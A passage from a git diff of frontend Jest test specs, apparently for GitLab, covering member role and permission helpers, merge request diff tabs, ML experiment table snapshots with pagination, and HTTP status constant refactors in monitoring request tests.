+ ${'canResend'} | ${[{ ...invite, invite: { ...invite.invite, canResend: false } }]}
`('when none of the members have $permission permissions', ({ members }) => {
it('does not render the "Actions" field', () => {
createComponent({ members, tableFields: ['actions'] });
diff --git a/spec/frontend/members/components/table/role_dropdown_spec.js b/spec/frontend/members/components/table/role_dropdown_spec.js
index b254cce4d72..a11f67be8f5 100644
--- a/spec/frontend/members/components/table/role_dropdown_spec.js
+++ b/spec/frontend/members/components/table/role_dropdown_spec.js
@@ -4,11 +4,14 @@ import { within } from '@testing-library/dom';
import { mount, createWrapper } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
+import waitForPromises from 'helpers/wait_for_promises';
import RoleDropdown from '~/members/components/table/role_dropdown.vue';
import { MEMBER_TYPES } from '~/members/constants';
+import { guestOverageConfirmAction } from 'ee_else_ce/members/guest_overage_confirm_action';
import { member } from '../../mock_data';
Vue.use(Vuex);
+jest.mock('ee_else_ce/members/guest_overage_confirm_action');
describe('RoleDropdown', () => {
let wrapper;
@@ -33,6 +36,10 @@ describe('RoleDropdown', () => {
wrapper = mount(RoleDropdown, {
provide: {
namespace: MEMBER_TYPES.user,
+ group: {
+ name: 'groupname',
+ path: '/grouppath/',
+ },
},
propsData: {
member,
@@ -63,12 +70,21 @@ describe('RoleDropdown', () => {
const findDropdownToggle = () => wrapper.find('button[aria-haspopup="true"]');
const findDropdown = () => wrapper.findComponent(GlDropdown);
+ let originalGon;
+
+ beforeEach(() => {
+ originalGon = window.gon;
+ gon.features = { showOverageOnRolePromotion: true };
+ });
+
afterEach(() => {
+ window.gon = originalGon;
wrapper.destroy();
});
describe('when dropdown is open', () => {
beforeEach(() => {
+ guestOverageConfirmAction.mockReturnValue(true);
createComponent();
return findDropdownToggle().trigger('click');
@@ -113,12 +129,16 @@ describe('RoleDropdown', () => {
expect($toast.show).toHaveBeenCalledWith('Role updated successfully.');
});
- it('disables dropdown while waiting for `updateMemberRole` to resolve', async () => {
+ it('puts dropdown in loading state while waiting for `updateMemberRole` to resolve', async () => {
await getDropdownItemByText('Developer').trigger('click');
- expect(findDropdown().props('disabled')).toBe(true);
+ expect(findDropdown().props('loading')).toBe(true);
+ });
+
+ it('enables dropdown after `updateMemberRole` resolves', async () => {
+ await getDropdownItemByText('Developer').trigger('click');
- await nextTick();
+ await waitForPromises();
expect(findDropdown().props('disabled')).toBe(false);
});
@@ -148,4 +168,44 @@ describe('RoleDropdown', () => {
expect(findDropdown().props('right')).toBe(false);
});
+
+ describe('guestOverageConfirmAction', () => {
+ const mockConfirmAction = ({ confirmed }) => {
+ guestOverageConfirmAction.mockResolvedValueOnce(confirmed);
+ };
+
+ beforeEach(() => {
+ createComponent();
+
+ findDropdownToggle().trigger('click');
+ });
+
+ afterEach(() => {
+ guestOverageConfirmAction.mockReset();
+ });
+
+ describe('when guestOverageConfirmAction returns true', () => {
+ beforeEach(() => {
+ mockConfirmAction({ confirmed: true });
+
+ getDropdownItemByText('Reporter').trigger('click');
+ });
+
+ it('calls updateMemberRole', () => {
+ expect(actions.updateMemberRole).toHaveBeenCalled();
+ });
+ });
+
+ describe('when guestOverageConfirmAction returns false', () => {
+ beforeEach(() => {
+ mockConfirmAction({ confirmed: false });
+
+ getDropdownItemByText('Reporter').trigger('click');
+ });
+
+ it('does not call updateMemberRole', () => {
+ expect(actions.updateMemberRole).not.toHaveBeenCalled();
+ });
+ });
+ });
});
diff --git a/spec/frontend/members/guest_overage_confirm_action_spec.js b/spec/frontend/members/guest_overage_confirm_action_spec.js
new file mode 100644
index 00000000000..d7ab54fa13b
--- /dev/null
+++ b/spec/frontend/members/guest_overage_confirm_action_spec.js
@@ -0,0 +1,7 @@
+import { guestOverageConfirmAction } from '~/members/guest_overage_confirm_action';
+
+describe('guestOverageConfirmAction', () => {
+ it('returns true', () => {
+ expect(guestOverageConfirmAction()).toBe(true);
+ });
+});
diff --git a/spec/frontend/members/mock_data.js b/spec/frontend/members/mock_data.js
index 49c4c46c3ac..161e96c0c48 100644
--- a/spec/frontend/members/mock_data.js
+++ b/spec/frontend/members/mock_data.js
@@ -1,4 +1,8 @@
-import { MEMBER_TYPES, MEMBER_STATE_CREATED } from '~/members/constants';
+import {
+ MEMBER_TYPES,
+ MEMBER_STATE_CREATED,
+ MEMBER_MODEL_TYPE_GROUP_MEMBER,
+} from '~/members/constants';
export const member = {
requestedAt: null,
@@ -13,7 +17,7 @@ export const member = {
fullName: 'Foo Bar',
webUrl: 'https://gitlab.com/groups/foo-bar',
},
- type: 'GroupMember',
+ type: MEMBER_MODEL_TYPE_GROUP_MEMBER,
state: MEMBER_STATE_CREATED,
user: {
id: 123,
@@ -69,7 +73,7 @@ export const modalData = {
isAccessRequest: true,
isInvite: true,
memberPath: '/groups/foo-bar/-/group_members/1',
- memberType: 'GroupMember',
+ memberModelType: MEMBER_MODEL_TYPE_GROUP_MEMBER,
message: 'Are you sure you want to remove John Smith?',
userDeletionObstacles: { name: 'user', obstacles: [] },
};
@@ -123,7 +127,15 @@ export const dataAttribute = JSON.stringify({
pagination: paginationData,
member_path: '/groups/foo-bar/-/group_members/:id',
ldap_override_path: '/groups/ldap-group/-/group_members/:id/override',
+ disable_two_factor_path: '/groups/ldap-group/-/two_factor_auth',
},
source_id: 234,
can_manage_members: true,
});
+
+export const permissions = {
+ canRemove: true,
+ canRemoveBlockedByLastOwner: false,
+ canResend: true,
+ canUpdate: true,
+};
diff --git a/spec/frontend/members/store/actions_spec.js b/spec/frontend/members/store/actions_spec.js
index 20dce639177..38214048b23 100644
--- a/spec/frontend/members/store/actions_spec.js
+++ b/spec/frontend/members/store/actions_spec.js
@@ -4,7 +4,7 @@ import { noop } from 'lodash';
import { useFakeDate } from 'helpers/fake_date';
import testAction from 'helpers/vuex_action_helper';
import { members, group, modalData } from 'jest/members/mock_data';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import {
updateMemberRole,
showRemoveGroupLinkModal,
@@ -44,7 +44,7 @@ describe('Vuex members actions', () => {
describe('successful request', () => {
it(`commits ${types.RECEIVE_MEMBER_ROLE_SUCCESS} mutation`, async () => {
- mock.onPut().replyOnce(httpStatusCodes.OK);
+ mock.onPut().replyOnce(HTTP_STATUS_OK);
await testAction(updateMemberRole, payload, state, [
{
@@ -83,7 +83,7 @@ describe('Vuex members actions', () => {
describe('successful request', () => {
describe('changing expiration date', () => {
it(`commits ${types.RECEIVE_MEMBER_EXPIRATION_SUCCESS} mutation`, async () => {
- mock.onPut().replyOnce(httpStatusCodes.OK);
+ mock.onPut().replyOnce(HTTP_STATUS_OK);
await testAction(updateMemberExpiration, { memberId, expiresAt }, state, [
{
@@ -98,7 +98,7 @@ describe('Vuex members actions', () => {
describe('removing the expiration date', () => {
it(`commits ${types.RECEIVE_MEMBER_EXPIRATION_SUCCESS} mutation`, async () => {
- mock.onPut().replyOnce(httpStatusCodes.OK);
+ mock.onPut().replyOnce(HTTP_STATUS_OK);
await testAction(updateMemberExpiration, { memberId, expiresAt: null }, state, [
{
diff --git a/spec/frontend/members/utils_spec.js b/spec/frontend/members/utils_spec.js
index 8bef2096a2a..9f200324c02 100644
--- a/spec/frontend/members/utils_spec.js
+++ b/spec/frontend/members/utils_spec.js
@@ -13,8 +13,10 @@ import {
isDirectMember,
isCurrentUser,
canRemove,
+ canRemoveBlockedByLastOwner,
canResend,
canUpdate,
+ canDisableTwoFactor,
canOverride,
parseSortParam,
buildSortHref,
@@ -129,6 +131,17 @@ describe('Members Utils', () => {
});
});
+ describe('canRemoveBlockedByLastOwner', () => {
+ it.each`
+ member | canManageMembers | expected
+ ${{ ...directMember, isLastOwner: true }} | ${true} | ${true}
+ ${{ ...inheritedMember, isLastOwner: false }} | ${true} | ${false}
+ ${{ ...directMember, isLastOwner: true }} | ${false} | ${false}
+ `('returns $expected', ({ member, canManageMembers, expected }) => {
+ expect(canRemoveBlockedByLastOwner(member, canManageMembers)).toBe(expected);
+ });
+ });
+
describe('canResend', () => {
it.each`
member | expected
@@ -151,6 +164,19 @@ describe('Members Utils', () => {
});
});
+ describe('canDisableTwoFactor', () => {
+ it.each`
+ member | expected
+ ${{ ...memberMock, canGetTwoFactorDisabled: true }} | ${false}
+ ${{ ...memberMock, canGetTwoFactorDisabled: false }} | ${false}
+ `(
+ 'returns $expected for members whose two factor authentication can be disabled',
+ ({ member, expected }) => {
+ expect(canDisableTwoFactor(member)).toBe(expected);
+ },
+ );
+ });
+
describe('canOverride', () => {
it('returns `false`', () => {
expect(canOverride(memberMock)).toBe(false);
diff --git a/spec/frontend/merge_request_tabs_spec.js b/spec/frontend/merge_request_tabs_spec.js
index 69ff5e47689..6d434d7e654 100644
--- a/spec/frontend/merge_request_tabs_spec.js
+++ b/spec/frontend/merge_request_tabs_spec.js
@@ -5,6 +5,7 @@ import initMrPage from 'helpers/init_vue_mr_page_helper';
import { stubPerformanceWebAPI } from 'helpers/performance';
import axios from '~/lib/utils/axios_utils';
import MergeRequestTabs from '~/merge_request_tabs';
+import Diff from '~/diff';
import '~/lib/utils/common_utils';
import '~/lib/utils/url_utility';
@@ -389,4 +390,73 @@ describe('MergeRequestTabs', () => {
});
});
});
+
+ describe('tabs <-> diff interactions', () => {
+ beforeEach(() => {
+ jest.spyOn(testContext.class, 'loadDiff').mockImplementation(() => {});
+ });
+
+ describe('switchViewType', () => {
+ it('marks the class as having not loaded diffs already', () => {
+ testContext.class.diffsLoaded = true;
+
+ testContext.class.switchViewType({});
+
+ expect(testContext.class.diffsLoaded).toBe(false);
+ });
+
+ it('reloads the diffs', () => {
+ testContext.class.switchViewType({ source: 'a new url' });
+
+ expect(testContext.class.loadDiff).toHaveBeenCalledWith({
+ endpoint: 'a new url',
+ strip: false,
+ });
+ });
+ });
+
+ describe('createDiff', () => {
+ it("creates a Diff if there isn't one", () => {
+ expect(testContext.class.diffsClass).toBe(null);
+
+ testContext.class.createDiff();
+
+ expect(testContext.class.diffsClass).toBeInstanceOf(Diff);
+ });
+
+ it("doesn't create a Diff if one already exists", () => {
+ testContext.class.diffsClass = 'truthy';
+
+ testContext.class.createDiff();
+
+ expect(testContext.class.diffsClass).toBe('truthy');
+ });
+
+ it('sets the available MR Tabs event hub to the new Diff', () => {
+ expect(testContext.class.diffsClass).toBe(null);
+
+ testContext.class.createDiff();
+
+ expect(testContext.class.diffsClass.mrHub).toBe(testContext.class.eventHub);
+ });
+ });
+
+ describe('setHubToDiff', () => {
+ it('sets the MR Tabs event hub to the child Diff', () => {
+ testContext.class.diffsClass = {};
+
+ testContext.class.setHubToDiff();
+
+ expect(testContext.class.diffsClass.mrHub).toBe(testContext.class.eventHub);
+ });
+
+ it('does not fatal if theres no child Diff', () => {
+ testContext.class.diffsClass = null;
+
+ expect(() => {
+ testContext.class.setHubToDiff();
+ }).not.toThrow();
+ });
+ });
+ });
});
diff --git a/spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_candidate_spec.js.snap b/spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_candidate_spec.js.snap
index 8af0753f929..0c3d3e78038 100644
--- a/spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_candidate_spec.js.snap
+++ b/spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_candidate_spec.js.snap
@@ -163,8 +163,8 @@ exports[`MlCandidate renders correctly 1`] = `
class="gl-text-secondary gl-font-weight-bold"
>
- Parameters
-
+ Parameters
+
</td>
<td
@@ -190,7 +190,6 @@ exports[`MlCandidate renders correctly 1`] = `
3
</td>
</tr>
-
<tr
class="divider"
/>
@@ -200,8 +199,8 @@ exports[`MlCandidate renders correctly 1`] = `
class="gl-text-secondary gl-font-weight-bold"
>
- Metrics
-
+ Metrics
+
</td>
<td
@@ -227,6 +226,42 @@ exports[`MlCandidate renders correctly 1`] = `
.99
</td>
</tr>
+ <tr
+ class="divider"
+ />
+
+ <tr>
+ <td
+ class="gl-text-secondary gl-font-weight-bold"
+ >
+
+ Metadata
+
+ </td>
+
+ <td
+ class="gl-font-weight-bold"
+ >
+ FileName
+ </td>
+
+ <td>
+ test.py
+ </td>
+ </tr>
+ <tr>
+ <td />
+
+ <td
+ class="gl-font-weight-bold"
+ >
+ ExecutionTime
+ </td>
+
+ <td>
+ .0856
+ </td>
+ </tr>
</tbody>
</table>
</div>
diff --git a/spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_experiment_spec.js.snap b/spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_experiment_spec.js.snap
index e253a0afc6c..3ee2c1cc075 100644
--- a/spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_experiment_spec.js.snap
+++ b/spec/frontend/ml/experiment_tracking/components/__snapshots__/ml_experiment_spec.js.snap
@@ -95,8 +95,8 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
<table
aria-busy="false"
- aria-colcount="6"
- class="table b-table gl-table gl-mt-0!"
+ aria-colcount="9"
+ class="table b-table gl-table gl-mt-0! ml-candidate-table table-sm"
role="table"
>
<!---->
@@ -117,7 +117,7 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
scope="col"
>
<div>
- L1 Ratio
+ Name
</div>
</th>
<th
@@ -127,7 +127,7 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
scope="col"
>
<div>
- Rmse
+ Created at
</div>
</th>
<th
@@ -137,7 +137,7 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
scope="col"
>
<div>
- Auc
+ User
</div>
</th>
<th
@@ -147,11 +147,41 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
scope="col"
>
<div>
- Mae
+ L1 Ratio
</div>
</th>
<th
aria-colindex="5"
+ class=""
+ role="columnheader"
+ scope="col"
+ >
+ <div>
+ Rmse
+ </div>
+ </th>
+ <th
+ aria-colindex="6"
+ class=""
+ role="columnheader"
+ scope="col"
+ >
+ <div>
+ Auc
+ </div>
+ </th>
+ <th
+ aria-colindex="7"
+ class=""
+ role="columnheader"
+ scope="col"
+ >
+ <div>
+ Mae
+ </div>
+ </th>
+ <th
+ aria-colindex="8"
aria-label="Details"
class=""
role="columnheader"
@@ -160,7 +190,7 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
<div />
</th>
<th
- aria-colindex="6"
+ aria-colindex="9"
aria-label="Artifact"
class=""
role="columnheader"
@@ -183,39 +213,97 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
class=""
role="cell"
>
- 0.4
+ <div
+ title="aCandidate"
+ >
+ aCandidate
+ </div>
</td>
<td
aria-colindex="2"
class=""
role="cell"
>
- 1
+ <time
+ class=""
+ datetime="2023-01-05T14:07:02.975Z"
+ title="2023-01-05T14:07:02.975Z"
+ >
+ in 2 years
+ </time>
</td>
<td
aria-colindex="3"
class=""
role="cell"
- />
+ >
+ <a
+ class="gl-link"
+ href="/root"
+ title="root"
+ >
+ @root
+ </a>
+ </td>
<td
aria-colindex="4"
class=""
role="cell"
- />
+ >
+ <div
+ title="0.4"
+ >
+ 0.4
+ </div>
+ </td>
<td
aria-colindex="5"
class=""
role="cell"
>
+ <div
+ title="1"
+ >
+ 1
+ </div>
+ </td>
+ <td
+ aria-colindex="6"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="7"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="8"
+ class=""
+ role="cell"
+ >
<a
class="gl-link"
href="link_to_candidate1"
+ title="Details"
>
Details
</a>
</td>
<td
- aria-colindex="6"
+ aria-colindex="9"
class=""
role="cell"
>
@@ -224,6 +312,7 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
href="link_to_artifact"
rel="noopener"
target="_blank"
+ title="Artifacts"
>
Artifacts
</a>
@@ -238,47 +327,435 @@ exports[`MlExperiment with candidates renders correctly 1`] = `
class=""
role="cell"
>
- 0.5
+ <div
+ title=""
+ >
+
+ </div>
</td>
<td
aria-colindex="2"
class=""
role="cell"
- />
+ >
+ <time
+ class=""
+ datetime="2023-01-05T14:07:02.975Z"
+ title="2023-01-05T14:07:02.975Z"
+ >
+ in 2 years
+ </time>
+ </td>
<td
aria-colindex="3"
class=""
role="cell"
>
- 0.3
+ <div>
+ -
+ </div>
</td>
<td
aria-colindex="4"
class=""
role="cell"
- />
+ >
+ <div
+ title="0.5"
+ >
+ 0.5
+ </div>
+ </td>
<td
aria-colindex="5"
class=""
role="cell"
>
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="6"
+ class=""
+ role="cell"
+ >
+ <div
+ title="0.3"
+ >
+ 0.3
+ </div>
+ </td>
+ <td
+ aria-colindex="7"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="8"
+ class=""
+ role="cell"
+ >
<a
class="gl-link"
href="link_to_candidate2"
+ title="Details"
>
Details
</a>
</td>
<td
+ aria-colindex="9"
+ class=""
+ role="cell"
+ >
+ <div
+ title="Artifacts"
+ >
+
+ -
+
+ </div>
+ </td>
+ </tr>
+ <tr
+ class=""
+ role="row"
+ >
+ <td
+ aria-colindex="1"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="2"
+ class=""
+ role="cell"
+ >
+ <time
+ class=""
+ datetime="2023-01-05T14:07:02.975Z"
+ title="2023-01-05T14:07:02.975Z"
+ >
+ in 2 years
+ </time>
+ </td>
+ <td
+ aria-colindex="3"
+ class=""
+ role="cell"
+ >
+ <div>
+ -
+ </div>
+ </td>
+ <td
+ aria-colindex="4"
+ class=""
+ role="cell"
+ >
+ <div
+ title="0.5"
+ >
+ 0.5
+ </div>
+ </td>
+ <td
+ aria-colindex="5"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
aria-colindex="6"
class=""
role="cell"
- />
+ >
+ <div
+ title="0.3"
+ >
+ 0.3
+ </div>
+ </td>
+ <td
+ aria-colindex="7"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="8"
+ class=""
+ role="cell"
+ >
+ <a
+ class="gl-link"
+ href="link_to_candidate3"
+ title="Details"
+ >
+ Details
+ </a>
+ </td>
+ <td
+ aria-colindex="9"
+ class=""
+ role="cell"
+ >
+ <div
+ title="Artifacts"
+ >
+
+ -
+
+ </div>
+ </td>
+ </tr>
+ <tr
+ class=""
+ role="row"
+ >
+ <td
+ aria-colindex="1"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="2"
+ class=""
+ role="cell"
+ >
+ <time
+ class=""
+ datetime="2023-01-05T14:07:02.975Z"
+ title="2023-01-05T14:07:02.975Z"
+ >
+ in 2 years
+ </time>
+ </td>
+ <td
+ aria-colindex="3"
+ class=""
+ role="cell"
+ >
+ <div>
+ -
+ </div>
+ </td>
+ <td
+ aria-colindex="4"
+ class=""
+ role="cell"
+ >
+ <div
+ title="0.5"
+ >
+ 0.5
+ </div>
+ </td>
+ <td
+ aria-colindex="5"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="6"
+ class=""
+ role="cell"
+ >
+ <div
+ title="0.3"
+ >
+ 0.3
+ </div>
+ </td>
+ <td
+ aria-colindex="7"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="8"
+ class=""
+ role="cell"
+ >
+ <a
+ class="gl-link"
+ href="link_to_candidate4"
+ title="Details"
+ >
+ Details
+ </a>
+ </td>
+ <td
+ aria-colindex="9"
+ class=""
+ role="cell"
+ >
+ <div
+ title="Artifacts"
+ >
+
+ -
+
+ </div>
+ </td>
+ </tr>
+ <tr
+ class=""
+ role="row"
+ >
+ <td
+ aria-colindex="1"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="2"
+ class=""
+ role="cell"
+ >
+ <time
+ class=""
+ datetime="2023-01-05T14:07:02.975Z"
+ title="2023-01-05T14:07:02.975Z"
+ >
+ in 2 years
+ </time>
+ </td>
+ <td
+ aria-colindex="3"
+ class=""
+ role="cell"
+ >
+ <div>
+ -
+ </div>
+ </td>
+ <td
+ aria-colindex="4"
+ class=""
+ role="cell"
+ >
+ <div
+ title="0.5"
+ >
+ 0.5
+ </div>
+ </td>
+ <td
+ aria-colindex="5"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="6"
+ class=""
+ role="cell"
+ >
+ <div
+ title="0.3"
+ >
+ 0.3
+ </div>
+ </td>
+ <td
+ aria-colindex="7"
+ class=""
+ role="cell"
+ >
+ <div
+ title=""
+ >
+
+ </div>
+ </td>
+ <td
+ aria-colindex="8"
+ class=""
+ role="cell"
+ >
+ <a
+ class="gl-link"
+ href="link_to_candidate5"
+ title="Details"
+ >
+ Details
+ </a>
+ </td>
+ <td
+ aria-colindex="9"
+ class=""
+ role="cell"
+ >
+ <div
+ title="Artifacts"
+ >
+
+ -
+
+ </div>
+ </td>
</tr>
<!---->
<!---->
</tbody>
<!---->
</table>
+
+ <!---->
</div>
`;
diff --git a/spec/frontend/ml/experiment_tracking/components/ml_candidate_spec.js b/spec/frontend/ml/experiment_tracking/components/ml_candidate_spec.js
index 4b16312815a..fb45c4b07a4 100644
--- a/spec/frontend/ml/experiment_tracking/components/ml_candidate_spec.js
+++ b/spec/frontend/ml/experiment_tracking/components/ml_candidate_spec.js
@@ -15,6 +15,10 @@ describe('MlCandidate', () => {
{ name: 'AUC', value: '.55' },
{ name: 'Accuracy', value: '.99' },
],
+ metadata: [
+ { name: 'FileName', value: 'test.py' },
+ { name: 'ExecutionTime', value: '.0856' },
+ ],
info: {
iid: 'candidate_iid',
artifact_link: 'path_to_artifact',
diff --git a/spec/frontend/ml/experiment_tracking/components/ml_experiment_spec.js b/spec/frontend/ml/experiment_tracking/components/ml_experiment_spec.js
index 50539440f25..abcaf17303f 100644
--- a/spec/frontend/ml/experiment_tracking/components/ml_experiment_spec.js
+++ b/spec/frontend/ml/experiment_tracking/components/ml_experiment_spec.js
@@ -1,12 +1,19 @@
-import { GlAlert } from '@gitlab/ui';
+import { GlAlert, GlPagination } from '@gitlab/ui';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import MlExperiment from '~/ml/experiment_tracking/components/ml_experiment.vue';
describe('MlExperiment', () => {
let wrapper;
- const createWrapper = (candidates = [], metricNames = [], paramNames = []) => {
- return mountExtended(MlExperiment, { provide: { candidates, metricNames, paramNames } });
+ const createWrapper = (
+ candidates = [],
+ metricNames = [],
+ paramNames = [],
+ pagination = { page: 1, isLastPage: false, per_page: 2, totalItems: 0 },
+ ) => {
+ return mountExtended(MlExperiment, {
+ provide: { candidates, metricNames, paramNames, pagination },
+ });
};
const findAlert = () => wrapper.findComponent(GlAlert);
@@ -25,20 +32,110 @@ describe('MlExperiment', () => {
expect(findEmptyState().exists()).toBe(true);
});
+
+ it('does not show pagination', () => {
+ wrapper = createWrapper();
+
+ expect(wrapper.findComponent(GlPagination).exists()).toBe(false);
+ });
});
describe('with candidates', () => {
- it('renders correctly', () => {
- wrapper = createWrapper(
+ const defaultPagination = { page: 1, isLastPage: false, per_page: 2, totalItems: 5 };
+
+ const createWrapperWithCandidates = (pagination = defaultPagination) => {
+ return createWrapper(
[
- { rmse: 1, l1_ratio: 0.4, details: 'link_to_candidate1', artifact: 'link_to_artifact' },
- { auc: 0.3, l1_ratio: 0.5, details: 'link_to_candidate2' },
+ {
+ rmse: 1,
+ l1_ratio: 0.4,
+ details: 'link_to_candidate1',
+ artifact: 'link_to_artifact',
+ name: 'aCandidate',
+ created_at: '2023-01-05T14:07:02.975Z',
+ user: { username: 'root', path: '/root' },
+ },
+ {
+ auc: 0.3,
+ l1_ratio: 0.5,
+ details: 'link_to_candidate2',
+ created_at: '2023-01-05T14:07:02.975Z',
+ name: null,
+ user: null,
+ },
+ {
+ auc: 0.3,
+ l1_ratio: 0.5,
+ details: 'link_to_candidate3',
+ created_at: '2023-01-05T14:07:02.975Z',
+ name: null,
+ user: null,
+ },
+ {
+ auc: 0.3,
+ l1_ratio: 0.5,
+ details: 'link_to_candidate4',
+ created_at: '2023-01-05T14:07:02.975Z',
+ name: null,
+ user: null,
+ },
+ {
+ auc: 0.3,
+ l1_ratio: 0.5,
+ details: 'link_to_candidate5',
+ created_at: '2023-01-05T14:07:02.975Z',
+ name: null,
+ user: null,
+ },
],
['rmse', 'auc', 'mae'],
['l1_ratio'],
+ pagination,
);
+ };
+
+ it('renders correctly', () => {
+ wrapper = createWrapperWithCandidates();
expect(wrapper.element).toMatchSnapshot();
});
+
+ describe('Pagination behaviour', () => {
+ it('should show', () => {
+ wrapper = createWrapperWithCandidates();
+
+ expect(wrapper.findComponent(GlPagination).exists()).toBe(true);
+ });
+
+ it('should get the page number from the URL', () => {
+ wrapper = createWrapperWithCandidates({ ...defaultPagination, page: 2 });
+
+ expect(wrapper.findComponent(GlPagination).props().value).toBe(2);
+ });
+
+ it('should not have a prevPage if the page is 1', () => {
+ wrapper = createWrapperWithCandidates();
+
+ expect(wrapper.findComponent(GlPagination).props().prevPage).toBe(null);
+ });
+
+ it('should set the prevPage to 1 if the page is 2', () => {
+ wrapper = createWrapperWithCandidates({ ...defaultPagination, page: 2 });
+
+ expect(wrapper.findComponent(GlPagination).props().prevPage).toBe(1);
+ });
+
+ it('should not have a nextPage if isLastPage is true', async () => {
+ wrapper = createWrapperWithCandidates({ ...defaultPagination, isLastPage: true });
+
+ expect(wrapper.findComponent(GlPagination).props().nextPage).toBe(null);
+ });
+
+ it('should set the nextPage to 2 if the page is 1', () => {
+ wrapper = createWrapperWithCandidates();
+
+ expect(wrapper.findComponent(GlPagination).props().nextPage).toBe(2);
+ });
+ });
});
});
diff --git a/spec/frontend/monitoring/requests/index_spec.js b/spec/frontend/monitoring/requests/index_spec.js
index def4bfe9443..cf7df3dd9d5 100644
--- a/spec/frontend/monitoring/requests/index_spec.js
+++ b/spec/frontend/monitoring/requests/index_spec.js
@@ -2,8 +2,12 @@ import MockAdapter from 'axios-mock-adapter';
import { backoffMockImplementation } from 'helpers/backoff_helper';
import axios from '~/lib/utils/axios_utils';
import * as commonUtils from '~/lib/utils/common_utils';
-import statusCodes, {
+import {
+ HTTP_STATUS_BAD_REQUEST,
HTTP_STATUS_NO_CONTENT,
+ HTTP_STATUS_OK,
+ HTTP_STATUS_SERVICE_UNAVAILABLE,
+ HTTP_STATUS_UNAUTHORIZED,
HTTP_STATUS_UNPROCESSABLE_ENTITY,
} from '~/lib/utils/http_status';
import { getDashboard, getPrometheusQueryData } from '~/monitoring/requests';
@@ -32,7 +36,7 @@ describe('monitoring metrics_requests', () => {
};
it('returns a dashboard response', () => {
- mock.onGet(dashboardEndpoint).reply(statusCodes.OK, response);
+ mock.onGet(dashboardEndpoint).reply(HTTP_STATUS_OK, response);
return getDashboard(dashboardEndpoint, params).then((data) => {
expect(data).toEqual(metricsDashboardResponse);
@@ -42,7 +46,7 @@ describe('monitoring metrics_requests', () => {
it('returns a dashboard response after retrying twice', () => {
mock.onGet(dashboardEndpoint).replyOnce(HTTP_STATUS_NO_CONTENT);
mock.onGet(dashboardEndpoint).replyOnce(HTTP_STATUS_NO_CONTENT);
- mock.onGet(dashboardEndpoint).reply(statusCodes.OK, response);
+ mock.onGet(dashboardEndpoint).reply(HTTP_STATUS_OK, response);
return getDashboard(dashboardEndpoint, params).then((data) => {
expect(data).toEqual(metricsDashboardResponse);
@@ -75,7 +79,7 @@ describe('monitoring metrics_requests', () => {
};
it('returns a dashboard response', () => {
- mock.onGet(prometheusEndpoint).reply(statusCodes.OK, response);
+ mock.onGet(prometheusEndpoint).reply(HTTP_STATUS_OK, response);
return getPrometheusQueryData(prometheusEndpoint, params).then((data) => {
expect(data).toEqual(response.data);
@@ -86,7 +90,7 @@ describe('monitoring metrics_requests', () => {
// Mock multiple attempts while the cache is filling up
mock.onGet(prometheusEndpoint).replyOnce(HTTP_STATUS_NO_CONTENT);
mock.onGet(prometheusEndpoint).replyOnce(HTTP_STATUS_NO_CONTENT);
- mock.onGet(prometheusEndpoint).reply(statusCodes.OK, response); // 3rd attempt
+ mock.onGet(prometheusEndpoint).reply(HTTP_STATUS_OK, response); // 3rd attempt
return getPrometheusQueryData(prometheusEndpoint, params).then((data) => {
expect(data).toEqual(response.data);
@@ -107,7 +111,7 @@ describe('monitoring metrics_requests', () => {
it('rejects after retrying twice and getting an HTTP 401 error', () => {
// Mock multiple attempts while the cache is filling up and fails
- mock.onGet(prometheusEndpoint).reply(statusCodes.UNAUTHORIZED, {
+ mock.onGet(prometheusEndpoint).reply(HTTP_STATUS_UNAUTHORIZED, {
status: 'error',
error: 'An error occurred',
});
@@ -134,9 +138,9 @@ describe('monitoring metrics_requests', () => {
it.each`
code | reason
- ${statusCodes.BAD_REQUEST} | ${'Parameters are missing or incorrect'}
+ ${HTTP_STATUS_BAD_REQUEST} | ${'Parameters are missing or incorrect'}
${HTTP_STATUS_UNPROCESSABLE_ENTITY} | ${"Expression can't be executed"}
- ${statusCodes.SERVICE_UNAVAILABLE} | ${'Query timed out or aborted'}
+ ${HTTP_STATUS_SERVICE_UNAVAILABLE} | ${'Query timed out or aborted'}
`('rejects with details: "$reason" after getting an HTTP $code error', ({ code, reason }) => {
mock.onGet(prometheusEndpoint).reply(code, {
status: 'error',
